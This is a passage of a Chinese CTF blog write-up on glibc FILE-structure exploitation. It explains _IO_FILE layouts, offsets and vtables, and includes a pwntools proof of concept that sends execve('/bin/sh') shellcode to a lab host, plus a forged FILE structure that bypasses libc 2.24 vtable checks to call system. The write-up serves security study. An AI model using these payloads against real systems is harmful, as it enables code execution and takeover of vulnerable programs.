class="title">IO_wide_data</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_read_ptr;<span class="comment">/* Current read pointer */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_read_end;<span class="comment">/* End of get area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_read_base;<span class="comment">/* Start of putback+get area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_write_base;<span class="comment">/* Start of put area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_write_ptr;<span class="comment">/* Current put pointer. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_write_end;<span class="comment">/* End of put area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_buf_base;<span class="comment">/* Start of reserve area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_buf_end;<span class="comment">/* End of reserve area. */</span></span><br><span class="line">  <span class="comment">/* The following fields are used to support backing up and undo. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_save_base;<span class="comment">/* Pointer to start of non-current get area. */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_backup_base;<span class="comment">/* Pointer to first valid character of</span></span><br><span class="line"><span class="comment">   backup area */</span></span><br><span class="line">  <span class="type">wchar_t</span> *_IO_save_end;<span class="comment">/* Pointer to end of non-current get area. */</span></span><br><span class="line"></span><br><span class="line">  <span class="type">__mbstate_t</span> _IO_state;</span><br><span class="line">  <span class="type">__mbstate_t</span> _IO_last_state;</span><br><span class="line">  <span class="class"><span class="keyword">struct</span> _<span class="title">IO_codecvt</span> _<span class="title">codecvt</span>;</span></span><br><span class="line"></span><br><span class="line">  <span class="type">wchar_t</span> _shortbuf[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">  <span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *_<span class="title">wide_vtable</span>;</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>结构体中的<code>_IO_read*</code>和<code>_IO_write*</code>部分会在调用<code>scanf/fread</code>和<code>printf/fwrite</code>这类会利用缓冲区的函数的时候被调用就会利用到这个缓冲区进行读写（此处可pwn，利用修改这几个指针实现leak，通常见于没有泄露函数的情况下使用，让puts/printfs等函数泄露）</p><p><code>_chain</code>属性则是连接了下一个<code>strcut _IO_FILE*</code>。</p><p>从<a href="https://qiita.com/zunil2_test/items/154147e1475964149510">这里</a>能够看到这些结构体成员的常见偏移如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line">_IO_FILE_plus_size = &#123;</span><br><span class="line">    <span class="string">&#x27;i386&#x27;</span>:<span class="number">0x98</span>,</span><br><span class="line">    <span class="string">&#x27;amd64&#x27;</span>:<span class="number">0xe0</span></span><br><span class="line">&#125;</span><br><span class="line">_IO_FILE_plus = &#123;</span><br><span class="line">    <span class="string">&#x27;i386&#x27;</span>:&#123;</span><br><span class="line">        <span class="number">0x0</span>:<span class="string">&#x27;_flags&#x27;</span>,</span><br><span class="line">        <span class="number">0x4</span>:<span class="string">&#x27;_IO_read_ptr&#x27;</span>,</span><br><span class="line">        <span class="number">0x8</span>:<span class="string">&#x27;_IO_read_end&#x27;</span>,</span><br><span class="line">        <span class="number">0xc</span>:<span class="string">&#x27;_IO_read_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x10</span>:<span class="string">&#x27;_IO_write_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x14</span>:<span class="string">&#x27;_IO_write_ptr&#x27;</span>,</span><br><span class="line">        <span class="number">0x18</span>:<span class="string">&#x27;_IO_write_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x1c</span>:<span class="string">&#x27;_IO_buf_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x20</span>:<span class="string">&#x27;_IO_buf_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x24</span>:<span class="string">&#x27;_IO_save_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x28</span>:<span class="string">&#x27;_IO_backup_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x2c</span>:<span class="string">&#x27;_IO_save_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x30</span>:<span class="string">&#x27;_markers&#x27;</span>,</span><br><span class="line">        <span class="number">0x34</span>:<span class="string">&#x27;_chain&#x27;</span>,</span><br><span class="line">        <span class="number">0x38</span>:<span class="string">&#x27;_fileno&#x27;</span>,</span><br><span class="line">        <span class="number">0x3c</span>:<span class="string">&#x27;_flags2&#x27;</span>,</span><br><span class="line">        <span class="number">0x40</span>:<span class="string">&#x27;_old_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x44</span>:<span class="string">&#x27;_cur_column&#x27;</span>,</span><br><span class="line">        <span class="number">0x46</span>:<span class="string">&#x27;_vtable_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x47</span>:<span class="string">&#x27;_shortbuf&#x27;</span>,</span><br><span class="line">        <span class="number">0x48</span>:<span class="string">&#x27;_lock&#x27;</span>,</span><br><span class="line">        <span class="number">0x4c</span>:<span class="string">&#x27;_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x54</span>:<span class="string">&#x27;_codecvt&#x27;</span>,</span><br><span class="line">        <span class="number">0x58</span>:<span class="string">&#x27;_wide_data&#x27;</span>,</span><br><span class="line">        <span class="number">0x5c</span>:<span class="string">&#x27;_freeres_list&#x27;</span>,</span><br><span class="line">        <span class="number">0x60</span>:<span class="string">&#x27;_freeres_buf&#x27;</span>,</span><br><span class="line">        <span class="number">0x64</span>:<span class="string">&#x27;__pad5&#x27;</span>,</span><br><span class="line">        <span class="number">0x68</span>:<span class="string">&#x27;_mode&#x27;</span>,</span><br><span class="line">        <span class="number">0x6c</span>:<span class="string">&#x27;_unused2&#x27;</span>,</span><br><span class="line">        <span class="number">0x94</span>:<span class="string">&#x27;vtable&#x27;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&#x27;amd64&#x27;</span>:&#123;</span><br><span class="line">        <span class="number">0x0</span>:<span class="string">&#x27;_flags&#x27;</span>,</span><br><span class="line">        <span class="number">0x8</span>:<span class="string">&#x27;_IO_read_ptr&#x27;</span>,</span><br><span class="line">        <span class="number">0x10</span>:<span class="string">&#x27;_IO_read_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x18</span>:<span class="string">&#x27;_IO_read_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x20</span>:<span class="string">&#x27;_IO_write_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x28</span>:<span class="string">&#x27;_IO_write_ptr&#x27;</span>,</span><br><span class="line">        <span class="number">0x30</span>:<span class="string">&#x27;_IO_write_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x38</span>:<span class="string">&#x27;_IO_buf_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x40</span>:<span class="string">&#x27;_IO_buf_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x48</span>:<span class="string">&#x27;_IO_save_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x50</span>:<span class="string">&#x27;_IO_backup_base&#x27;</span>,</span><br><span class="line">        <span class="number">0x58</span>:<span class="string">&#x27;_IO_save_end&#x27;</span>,</span><br><span class="line">        <span class="number">0x60</span>:<span class="string">&#x27;_markers&#x27;</span>,</span><br><span class="line">        <span class="number">0x68</span>:<span class="string">&#x27;_chain&#x27;</span>,</span><br><span class="line">        <span class="number">0x70</span>:<span class="string">&#x27;_fileno&#x27;</span>,</span><br><span class="line">        <span class="number">0x74</span>:<span class="string">&#x27;_flags2&#x27;</span>,</span><br><span class="line">        <span class="number">0x78</span>:<span class="string">&#x27;_old_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x80</span>:<span class="string">&#x27;_cur_column&#x27;</span>,</span><br><span class="line">        <span class="number">0x82</span>:<span class="string">&#x27;_vtable_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x83</span>:<span class="string">&#x27;_shortbuf&#x27;</span>,</span><br><span class="line">        <span class="number">0x88</span>:<span class="string">&#x27;_lock&#x27;</span>,</span><br><span class="line">        <span class="number">0x90</span>:<span class="string">&#x27;_offset&#x27;</span>,</span><br><span class="line">        <span class="number">0x98</span>:<span class="string">&#x27;_codecvt&#x27;</span>,</span><br><span class="line">        <span class="number">0xa0</span>:<span class="string">&#x27;_wide_data&#x27;</span>,</span><br><span class="line">        <span class="number">0xa8</span>:<span class="string">&#x27;_freeres_list&#x27;</span>,</span><br><span class="line">        <span class="number">0xb0</span>:<span class="string">&#x27;_freeres_buf&#x27;</span>,</span><br><span class="line">        <span class="number">0xb8</span>:<span class="string">&#x27;__pad5&#x27;</span>,</span><br><span class="line">        <span class="number">0xc0</span>:<span class="string">&#x27;_mode&#x27;</span>,</span><br><span class="line">        <span class="number">0xc4</span>:<span class="string">&#x27;_unused2&#x27;</span>,</span><br><span class="line">        <span class="number">0xd8</span>:<span class="string">&#x27;vtable&#x27;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所有打开的文件<code>FILE</code>结构都会以链表的形式存储在内存中，链表的头部为<code>_IO_list_all</code>，是libc的全局变量。<strong><code>IO_FILE</code>结构体就存在这个链表中</strong> 当涉及文件流操作的时候，就会从这里进行数据操作。</p><p>当打开一个文件的时候，此时的会从<strong>从堆上分配一个区域，用来存放一个包含<code>_IO_FILE</code>结构体的另一个结构体<code>_IO_FILE_plus</code></strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_plus</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  FILE file;</span><br><span class="line">  <span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *<span class="title">vtable</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这个<code>_OP_jump_t*</code>指针指向了一个函数指针组成的内存区域。不同的文件对象通过填充不同的函数指针，从而实现统一API调用下的不同处理。这边我们看到这个 vtable 的结构体为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> JUMP_INIT(NAME, VALUE) VALUE</span></span><br><span class="line"><span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> _<span class="title">IO_file_jumps</span> =</span></span><br><span class="line">&#123;</span><br><span class="line">   JUMP_INIT_DUMMY,</span><br><span class="line">   JUMP_INIT(finish, _IO_file_finish),</span><br><span class="line">   JUMP_INIT(overflow, _IO_file_overflow),</span><br><span class="line">   JUMP_INIT(underflow, _IO_file_underflow),</span><br><span class="line">   JUMP_INIT(uflow, _IO_default_uflow),</span><br><span class="line">   JUMP_INIT(pbackfail, _IO_default_pbackfail),</span><br><span class="line">   JUMP_INIT(xsputn, _IO_file_xsputn),</span><br><span class="line">   JUMP_INIT(xsgetn, _IO_file_xsgetn),</span><br><span class="line">   JUMP_INIT( , _IO_new_file_seekoff),</span><br><span class="line">   JUMP_INIT(seekpos, _IO_default_seekpos),</span><br><span class="line">   JUMP_INIT(setbuf, _IO_new_file_setbuf),</span><br><span class="line">   JUMP_INIT(sync, _IO_new_file_sync),</span><br><span class="line">   JUMP_INIT(doallocate, _IO_file_doallocate),</span><br><span class="line">   JUMP_INIT(read, _IO_file_read),</span><br><span class="line">   JUMP_INIT(write, _IO_new_file_write),</span><br><span class="line">   JUMP_INIT(seek, _IO_file_seek),</span><br><span class="line">   JUMP_INIT(close, _IO_file_close),</span><br><span class="line">   JUMP_INIT(stat, _IO_file_stat),</span><br><span class="line">   JUMP_INIT(showmanyc, _IO_default_showmanyc),</span><br><span class="line">   JUMP_INIT(imbue, _IO_default_imbue)</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>这些函数相当于是在调用<code>read/write/fflush...</code>等函数的时候会利用的指针。</p><h3 id="触发条件">触发条件</h3><p>这里有一个隐含的触发条件，FILE结构体想要工作，<strong>前提是缓冲区中有数据</strong>。当然这里不是真的要求有数据，而是<code>FILE-&gt;xxx_base &lt; FILE-&gt;xxx_ptr</code>，在这种前提下缓冲区才会工作，所以利用条件中，一定要满足<code>FILE-&gt;_IO_write_base</code>&lt;<code>FILE-&gt;_IO_write_ptr</code>或者<code>FILE-&gt;_IO_read_base</code>&lt;<code>FILE-&gt;_IO_read_ptr</code></p><h3 id="利用方式-libc-2-23">利用方式(libc&lt;=2.23)</h3><p>通过上面对函数的分析，我们会发现 FILE 在使用过程中，本质上会调用的是函数指针，则如果我们能够通过<strong>伪造完整<code>_IO_FILE_plus</code></strong>，然后让fp指针指向我们的fake FILE，并且将其中的vtable指向一个由我们控制的内存区域，在区域中填写我们攻击需要用到的函数地址，就能够实现攻击。</p><h2 id="实例">实例</h2><p>首先看到源代码，非常简单，直接贴处理:<br><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/pwn00.png" alt=""><br>这个读取内容虽然简单，但是正好也是不会把栈的返回值改掉，从代码上看没有canary（其实也没有）顺便注意一下此时的文件打开用的是fopen而不是open:<br><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/pwn01.png" alt=""><br>形式一片大好啊，看起来可以利用一下那个.bss，这里采取<strong>伪造文件头指针</strong>的方法进行攻击：<br>首先我们来看一下这个函数:</p><pre><code>fflush(stream* FILE)</code></pre><p>这个函数会将我们的文件流刷新。然后想到此时我们可以通过伪造vtable的形式进行攻击，于是我们查看一下内存:<br><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/pwn03.png" alt=""><br>红框处即为vtable的值。于是我们通过修改文件指针0xd0+8的位置上的数据，就相当于修改了vtable。我们通过修改其中对应函数的地址，就能在调用该函数的时候跳转到指定位置上（不过呢看到队友直接暴力处理了23333直接全部统一修改成我们指定的地址上），从而执行shellcode。</p><p>这里附上大佬队友的poc</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">debug = <span class="number">0</span></span><br><span class="line"><span class="keyword">if</span> debug:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn1&#x27;</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = remote(<span class="string">&#x27;10.50.1.3&#x27;</span>, <span class="number">8888</span>)</span><br><span class="line"></span><br><span class="line">store_addr = <span class="number">0x6010A0</span></span><br><span class="line">fake_file = p64(<span class="number">0x8000</span>) + <span class="string">&#x27;\x00&#x27;</span> * <span class="number">0xd0</span> <span class="comment">#FILE</span></span><br><span class="line">fake_file += p64(store_addr + <span class="number">0xd8</span> + <span class="number">8</span>) <span class="comment"># vtable</span></span><br><span class="line">fake_file += p64(<span class="number">0x6012c0</span>) * <span class="number">40</span></span><br><span class="line">sc = <span class="string">&quot;\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68&quot;</span></span><br><span class="line">fake_file += sc</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;enter the secret:&quot;</span>)</span><br><span class="line">p.send(fake_file)</span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line">p.recvuntil(<span class="string">&quot;enter your name:&quot;</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> * <span class="number">0xc8</span> + p64(store_addr)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="利用方式-libc-2-24">利用方式(libc&gt;=2.24)</h3><p>从这个版本后，glibc中增加了一个对于 vtable 的检测函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Check if unknown vtable pointers are permitted; otherwise,</span></span><br><span class="line"><span class="comment">   terminate the process.  */</span></span><br><span class="line"><span class="type">void</span> _IO_vtable_check (<span class="type">void</span>) attribute_hidden;</span><br><span class="line"><span class="comment">/* Perform vtable pointer validation.  If validation fails, terminate</span></span><br><span class="line"><span class="comment">   the process.  */</span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *</span><br><span class="line"><span class="title function_">IO_validate_vtable</span> <span class="params">(<span class="type">const</span> <span class="keyword">struct</span> _IO_jump_t *vtable)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">/* Fast path: The vtable pointer is within the __libc_IO_vtables</span></span><br><span class="line"><span class="comment">     section.  */</span></span><br><span class="line">  <span class="type">uintptr_t</span> section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;</span><br><span class="line">  <span class="type">uintptr_t</span> ptr = (<span class="type">uintptr_t</span>) vtable;</span><br><span class="line">  <span class="type">uintptr_t</span> offset = ptr - (<span class="type">uintptr_t</span>) __start___libc_IO_vtables;</span><br><span class="line">  <span class="keyword">if</span> (__glibc_unlikely (offset &gt;= section_length))</span><br><span class="line">    <span class="comment">/* The vtable pointer is not in the expected section.  Use the</span></span><br><span class="line"><span class="comment">       slow path, which will terminate the process if necessary.  */</span></span><br><span class="line">    _IO_vtable_check ();</span><br><span class="line">  <span class="keyword">return</span> vtable;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此时为了保证攻击的进行，只能让 vtable 落在<code>[__start___libc_IO_vtables, __stop___libc_IO_vtables]</code>才行。</p><p>所以学习了一个新的姿势，就是使用<strong>一些已有的vtable进行攻击</strong>。</p><p>这里介绍的是<code>_IO_str_jumps</code>。其也是<code>struct _IO_jump_t</code>结构体，并且这个结构体中的<code>_IO_OVERFLOW</code>有可以利用的地方。我们这里首先介绍这个漏洞的利用条件<br><strong>这里介绍的是32bit的程序，所以以下的偏移仅适用于32bit</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( fp-&gt;_flags &amp; <span class="number">8</span> )</span><br><span class="line">  <span class="keyword">return</span> -!v3;</span><br><span class="line"><span class="keyword">if</span> ( (fp-&gt;_flags &amp; <span class="number">0xC00</span>) == <span class="number">0x400</span> )</span><br><span class="line">&#123;</span><br><span class="line">  BYTE1(v2) |= <span class="number">8u</span>;</span><br><span class="line">  v13 = fp-&gt;_IO_read_end;</span><br><span class="line">  fp-&gt;_flags = v2;</span><br><span class="line">  write_ptr = fp-&gt;_IO_read_ptr;</span><br><span class="line">  fp-&gt;_IO_read_ptr = v13;</span><br><span class="line">  fp-&gt;_IO_write_ptr = write_ptr;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">  write_ptr = fp-&gt;_IO_write_ptr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里是flag的确定，为了防止程序陷入到这部分内容，我们可以简单的让flags为0，即可达到这个目的。<br>然后我们观察之后的逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">base = fp-&gt;_IO_buf_base;</span><br><span class="line">offset = fp-&gt;_IO_buf_end - base;</span><br><span class="line"><span class="keyword">if</span> ( write_ptr - fp-&gt;_IO_write_base &gt;= offset + v14 )</span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( fp-&gt;_flags &amp; <span class="number">1</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  v15 = <span class="number">2</span> * offset + <span class="number">100</span>;</span><br><span class="line">  v16 = (<span class="type">char</span> *)(fp-&gt;_IO_buf_end - base);</span><br><span class="line">  <span class="keyword">if</span> ( offset &gt; v15 )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">  v8 = ((<span class="type">int</span> (__cdecl *)(<span class="type">unsigned</span> <span class="type">int</span>))fp[<span class="number">1</span>]._IO_read_ptr)(<span class="number">2</span> * offset + <span class="number">100</span>);</span><br></pre></td></tr></table></figure><p>可以看到，这里会调用一个在fp中的函数，我们看一下实际上是什么:<br><img src="/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/chall07.png" alt=""><br>可以看到，实际上这个地方call的是一个esi+0x98位置的变量。显然这个位置是我们<strong>可控</strong>的。同时我们通过设置<code>fp-&gt;_IO_buf_base</code>和<code>fp-&gt;_IO_buf_end</code>两个参数，就能够将参数的位置也确定下来。同时注意到，我们需要保证<code>write_ptr - fp -&gt;_IO_write_base &gt;= offset</code>，才能够进入调用流程。</p><p>之后我们可以通过<strong>让结构体之间发生错位</strong>让<code>_IO_str_umps</code>的地址根据需要偏移（例如+4，让_IO_OVERFLOW对齐至正常的_IO_FINISH上，从而在调用fclose的时候进入该流程）从而调用这个函数。</p><h4 id="与堆-unsorted-bin-attack-的结合">与堆(unsorted bin attack)的结合</h4><p>如果我们此时是一个堆的题目，那么我们可以很容易的触发到这个逻辑:<br>首先我们介绍一个地方:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all_lockp (<span class="type">int</span> do_lock)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">  FILE *fp;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line">  _IO_cleanup_region_start_noarg (flush_cleanup);</span><br><span class="line">  _IO_lock_lock (list_all_lock);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (fp = (FILE *) _IO_list_all; fp != <span class="literal">NULL</span>; fp = fp-&gt;_chain)</span><br><span class="line">    &#123;</span><br><span class="line">      run_fp = fp;</span><br><span class="line">      <span class="keyword">if</span> (do_lock)</span><br><span class="line">_IO_flockfile (fp);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 关注这里</span></span><br><span class="line">      <span class="keyword">if</span> (((fp-&gt;_mode &lt;= <span class="number">0</span> &amp;&amp; fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base)</span><br><span class="line">   || (_IO_vtable_offset (fp) == <span class="number">0</span></span><br><span class="line">       &amp;&amp; fp-&gt;_mode &gt; <span class="number">0</span> &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_ptr</span><br><span class="line">    &gt; fp-&gt;_wide_data-&gt;_IO_write_base))</span><br><span class="line">   )</span><br><span class="line">  &amp;&amp; _IO_OVERFLOW (fp, EOF) == EOF)</span><br></pre></td></tr></table></figure><p>这个函数会在我们<strong>发生_int_malloc_printerr</strong>的时候触发，而这个错误其实在堆的相关题目中很容易触发，所以这里优先考虑这个方法。如果要进入这个逻辑的话，那么除了上述提到的条件，我们还要满足</p><ul><li>fp-&gt;mode = -1</li><li>fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_write_base</li></ul><p>此时才会进入_IO_OVERFLOW的逻辑。这里给出如果要从这里触发 vtable 的利用方式时，我们需要伪造的 FILE 结构体</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">fake_bin = p32(<span class="number">0</span>)<span class="comment"># flags</span></span><br><span class="line">fake_bin += <span class="string">&#x27;DEAD&#x27;</span> * <span class="number">3</span> <span class="comment"># read*</span></span><br><span class="line">fake_bin += <span class="string">&#x27;DEAD&#x27;</span> * <span class="number">1</span><span class="comment"># write</span></span><br><span class="line">fake_bin += p32(bin_sh)<span class="comment"># bypass check write_ptr - fp....</span></span><br><span class="line">fake_bin += p32(<span class="number">0</span>)<span class="comment"># buf start</span></span><br><span class="line">fake_bin += p32((bin_sh- <span class="number">100</span>)/<span class="number">2</span>)<span class="comment"># buf end</span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x48</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(null_ptr)<span class="comment"># lock </span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x11&#x27;</span> * (<span class="number">0x68</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(-<span class="number">1</span>)<span class="comment"># mode</span></span><br><span class="line">fake_bin += <span class="string">&#x27;\x00&#x27;</span> * (<span class="number">0x94</span> - <span class="built_in">len</span>(fake_bin))</span><br><span class="line">fake_bin += p32(vtable)<span class="comment"># vtable_to_IO_str_jumps</span></span><br><span class="line">fake_bin += p32(system_addr)<span class="comment"># system_address</span></span><br></pre></td></tr></table></figure><p>但是如何和unsorted bin attack结合呢？关键在于unsorted bin attack 是可以修改**任意地址为unsorted_bin(av)**的，那么此时通过修改_IO_list_all 